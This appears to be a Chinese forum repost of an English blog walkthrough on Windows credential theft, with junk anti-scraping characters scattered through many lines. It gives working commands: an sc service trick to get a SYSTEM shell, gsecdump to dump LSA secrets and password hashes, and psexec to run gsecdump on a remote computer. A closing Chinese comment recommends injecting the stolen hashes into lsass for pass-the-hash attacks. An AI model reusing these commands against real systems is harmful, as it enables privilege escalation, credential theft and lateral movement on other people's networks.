HASH注入式攻击

admin

o get a DOS Prompt as NT system:

C:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact
[SC] CreateService SUCCESS
: K  m: Z/ p/ F
C:\>sc start shellcmdline
& d& s3 e4 [$ Y0 D- Z1 L( z2 O[SC] StartService FAILED 1053:

The service did not respond to the start or control request in a timely fashion.
% e- K0 V4 [: S  E
C:\>sc delete shellcmdline
[SC] DeleteService SUCCESS

------------
2 X3 C% C0 u! g& |
Then in the new DOS window:
0 A' b7 O, S# p* l6 h3 ]0 Z5 X
. J& P2 Y9 y7 |" {Microsoft Windows XP [Version 5.1.2600]
' X0 c# O7 u  I* \9 M5 |* ~(C) Copyright 1985-2001 Microsoft Corp.

4 k0 Q& \, ?. }2 c. w" bC:\WINDOWS\system32>whoami
NT AUTHORITY\SYSTEM
4 _" `2 ]% W+ U  q3 V  e1 Z# {
C:\WINDOWS\system32>gsecdump -h
gsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)
usage: gsecdump [options]
% a5 T: p0 y) M! `  T
options:
( e* e: b4 M. {-h [ --help ] show help
-a [ --dump_all ] dump all secrets
-l [ --dump_lsa ] dump lsa secrets
-w [ --dump_wireless ] dump microsoft wireless connections
-u [ --dump_usedhashes ] dump hashes from active logon sessions
-s [ --dump_hashes ] dump hashes from SAM/AD
  P0 L+ h1 j# {# Y3 J
Although I like to use:
2 w2 A$ s6 ?- Y" i! Q2 o
9 f2 L" \5 F7 p2 UPsExec v1.83 - Execute processes remotely
9 k( F/ B* `  ~Copyright (C) 2001-2007 Mark Russinovich
# w. b1 h* ~0 r( o" fSysinternals - 链接标记[url]www.sysinternals.com[/url]
/ {* @* a/ Z$ w  m  h* N3 I
C:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT
# R  T( f* d3 V: N6 }+ u
! u8 j: N8 b! _- K' q. Vto get the hashes from active logon sessions of a remote system.

$ z% |3 o4 o; O$ K: a- mThese are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.
8 B( W9 v1 p2 J9 Y% e
提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.
原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]

我看了下原文出处，貌似是/2007/03/16/郁闷啊，差距。
! q# j- B8 A5 H+ e